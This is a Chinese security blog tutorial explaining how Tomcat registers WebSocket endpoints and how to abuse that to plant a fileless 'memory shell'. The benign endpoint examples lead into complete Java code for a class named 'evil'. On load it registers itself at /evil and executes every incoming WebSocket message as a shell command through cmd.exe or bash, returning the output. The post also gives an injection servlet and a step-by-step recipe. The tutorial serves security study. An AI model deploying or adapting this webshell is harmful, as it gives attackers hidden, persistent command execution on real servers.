通过前面对tomcat中的websocket的支持的解读,我们对websocket这个全双工协议有了更深的理解,接下来我们需要学习建立在其上的一种内存马, tomcat-websocket内存马的实现。
这也是内存马系列文章的第八篇了。
相信只要跟过上一篇的源码,对这个流程并不陌生,这里也简单总结一下,
WebSocket是一种全双工通信协议,即客户端可以向服务端发送请求,服务端也可以主动向客户端推送数据。
建立通信的两端主要是Endpoint
对象,
一个为ServerEndpoint
一个为ClientEndpoint
, 他们分别为服务端和客户端,
当客户端发起一个通信请求的时候,另一端在建立连接之后相应创建了一个ServerEndpoint
对象,
因为都是Endpoint
对象,我们可以看看Endpoint类,
这是一个抽象类,存在三个方法onOpen / onClose / onError
,分别是在通信建立 / 通信关闭 / 发生错误的是调用调用不同的逻辑。
Tomcat中存在有两种方法进行实现:
使用@ServerEndpoint
注解的方式;
继承抽象类Endpoint
的方式。
我们使用注解的方式进行搭建。
官方文档
https://docs.oracle.com/javaee/7/api/javax/websocket/server/ServerEndpoint.html
package pres.test.momenshell;
import javax.websocket.*;
import javax.websocket.server.ServerEndpoint;
@ServerEndpoint("/websocket")
public class WebsocketTest {
private Session session;
@OnOpen
public void onOpen(Session session) {
this.session = session;
this.session.getAsyncRemote().sendText("onOpen......");
}
@OnMessage
public void onMessage(String message) {
this.session.getAsyncRemote().sendText("onMessage...." + message);
}
@OnClose
public void onClose() {
System.out.println("onClose.....");
}
@OnError
public void onError(Throwable throwable) {
throwable.printStackTrace();
}
}
在websocket连接成功之后,成功发送了onOpen....
并且,在客户端可以成功发送消息。
如上图,在断开本次链接之后将会在服务段打印onClose...
标识,
同样也可以通过继承Endpoint
的方式实现。
需要实现多个类:
Endpoint实现类:主要实现3个标准生命周期方法(onOpen、onError、onClose),添加MessageHandler对象;
MessageHandler实现类:实现onMessage方法;
ServerApplicationConfig实现类:完成Endpoint的URI路径注册。
package pres.test.momenshell;
import javax.websocket.Endpoint;
import javax.websocket.EndpointConfig;
import javax.websocket.MessageHandler;
import javax.websocket.Session;
import java.io.IOException;
public class WebsocketTestPlus extends Endpoint {
private Session session;
@Override
public void onOpen(Session session, EndpointConfig endpointConfig) {
this.session = session;
session.addMessageHandler(new MessageHandler.Whole<String>() { //匿名类实现MessageHandler
@Override
public void onMessage(String message) {
System.out.println("onMessage: "+message);
}
});
System.out.println("已连接WebsocketServer: " + session.toString());
try {
session.getBasicRemote().sendText("a");
} catch (IOException e) {
e.printStackTrace();
}
}
}
package pres.test.momenshell;
import javax.websocket.Endpoint;
import javax.websocket.server.ServerApplicationConfig;
import javax.websocket.server.ServerEndpointConfig;
import java.util.HashSet;
import java.util.Set;
public class EndpointApplicationConfig implements ServerApplicationConfig {
@Override
public Set<ServerEndpointConfig> getEndpointConfigs(Set<Class<? extends Endpoint>> set) {
Set<ServerEndpointConfig> result = new HashSet<>();
if (set.contains(WebsocketTestPlus.class)) {
result.add(ServerEndpointConfig.Builder.create(WebsocketTestPlus.class, "/websocket2").build());
}
return result;
}
@Override
public Set<Class<?>> getAnnotatedEndpointClasses(Set<Class<?>> set) {
System.out.println(set);
return set;
}
}
同样在建立连接和发送消息的过程中有回显。
接下来我们简单分析一下过程,
在Tomcat启动的时候,将会对classpath下的jar进行扫描,扫描包中的META-INF/services/javax.servlet.ServletContainerInitializer文件。
对于websocket来说,其内容为org.apache.tomcat.websocket.server.WsSci
所以将会加载该类,
该类是ServletContainerInitializer
的实现类,
首先调用init
进行初始化操作WsServerContainer对象,
创建了两个监听器,
其余多的上一篇中已经详细的解读了一遍代码,这里就简单说说就行了。
最后将会将调用addEndpoint方法将通过ServerApplicationConfig对象获取的ServerEndpointConfig对象的集合添加到WsServerContainer
中去。
在取出了其中配置的路由之后生成了一个mapping映射。
在这里完成了路由的注册,
值得我们注意的是在创建WsServerContainer
对象的时候,在其构造方法中添加过滤器。
在所有放回所有资源的同时会被其拦截,判断是否注册有该路由的Endpoint。
通过调用findMapping
方法获取对应的Endpoint,如果为空,就通过chain.doFilter
将请求放回,如果存在这个Endpoint,就会进行协议升级。
从上面的简单流程分析中,我们知道,想要注册一个Endpoint需要通过调用WsServerContainer#addEndpoint
方法进行添加,自然首要的目的是需要动态获取到WsServerContainer
对象。
我们可以注意到,在前面调用init方法是的时候设置了一个属性,
属性值就是为我们创建的WsServerContainer
对象,所以我们只需要在线程中获取到servletContext
这个上下文,就能够通过它的属性javax.websocket.server.ServerContainer
来获取对应的WsServerContainer
对象,进而能够添加恶意的Endpoint。
那么如果构造一个恶意的Endpoint呢?
我们只需要创建一个继承Endpoint
的子类,并且需要实现MessageHandler
接口,重写其中的onMessage
onOpen
等方法。
所以其注入流程就是:
实现Endpoint,MessageHandler.onMessage中实现命令执行的功能;
为Endpoint创建ServerEndpointConfig;
依次获取ServletConext和WsServerContainer;
通过WsServerContainer.addEndpoint添加ServerEndpointConfig。
我们首先编写恶意的Endpoint类
package pres.test.momenshell;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.tomcat.websocket.server.WsServerContainer;
import javax.websocket.*;
import javax.websocket.server.ServerContainer;
import javax.websocket.server.ServerEndpointConfig;
import java.io.InputStream;
public class evil extends Endpoint implements MessageHandler.Whole<String> {
private Session session;
public void onMessage(String message) {
try {
boolean iswin = System.getProperty("os.name").toLowerCase().startsWith("windows");
Process exec;
if (iswin) {
exec = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", message});
} else {
exec = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", message});
}
InputStream ips = exec.getInputStream();
StringBuilder sb = new StringBuilder();
int i;
while((i = ips.read()) != -1) {
sb.append((char)i);
}
ips.close();
exec.waitFor();
this.session.getBasicRemote().sendText(sb.toString());
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public void onOpen(Session session, EndpointConfig config) {
this.session = session;
this.session.addMessageHandler(this);
}
}
其中在onOpen
方法中加入了MessageHandler
对象,并且在其onMessage
中实现了我们想要的命令执行的功能。
之后我们创建一个ServerEndpointConfig
对象添加路由
ServerEndpointConfig build = ServerEndpointConfig.Builder.create(evil.class, "/evil").build();
再然后获取存放WsServerContainer
对象的那个属性
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
WsServerContainer attribute = (WsServerContainer) standardContext.getServletContext().getAttribute(ServerContainer.class.getName());
最后将恶意的Endpoint添加进入其中
attribute.addEndpoint(build);
首先创建一个Servlet
package pres.test.momenshell;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.tomcat.websocket.server.WsServerContainer;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.websocket.*;
import javax.websocket.server.ServerContainer;
import javax.websocket.server.ServerEndpointConfig;
import java.io.IOException;
import java.io.InputStream;
public class AddWebSocket extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
this.doPost(req, resp);
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
try {
Class.forName("pres.test.momenshell.evil");
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
}
}
配置好对应的mapping映射
编写好evil类
package pres.test.momenshell;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.tomcat.websocket.server.WsServerContainer;
import javax.websocket.*;
import javax.websocket.server.ServerContainer;
import javax.websocket.server.ServerEndpointConfig;
import java.io.InputStream;
public class evil extends Endpoint implements MessageHandler.Whole<String> {
static {
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
ServerEndpointConfig build = ServerEndpointConfig.Builder.create(evil.class, "/evil").build();
WsServerContainer attribute = (WsServerContainer) standardContext.getServletContext().getAttribute(ServerContainer.class.getName());
try {
attribute.addEndpoint(build);
} catch (DeploymentException e) {
throw new RuntimeException(e);
}
}
private Session session;
public void onMessage(String message) {
try {
boolean iswin = System.getProperty("os.name").toLowerCase().startsWith("windows");
Process exec;
if (iswin) {
exec = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", message});
} else {
exec = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", message});
}
InputStream ips = exec.getInputStream();
StringBuilder sb = new StringBuilder();
int i;
while((i = ips.read()) != -1) {
sb.append((char)i);
}
ips.close();
exec.waitFor();
this.session.getBasicRemote().sendText(sb.toString());
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public void onOpen(Session session, EndpointConfig config) {
this.session = session;
this.session.addMessageHandler(this);
}
}
上面的servlet主要是模拟反序列化等操作写入Websocket内存马
能够成功执行ipconfig
命令
创建该内存马的流程:
获取当前的StandardContext;
通过StandardContext获取ServerContainer;
撰写一个恶意Endpoint类,并且实现了MessageHandler
接口;
创建ServerEndpointConfig,给出对应的路由映射;
调用ServerContainer.addEndpoint方法,添加恶意类。
https://xz.aliyun.com/t/11566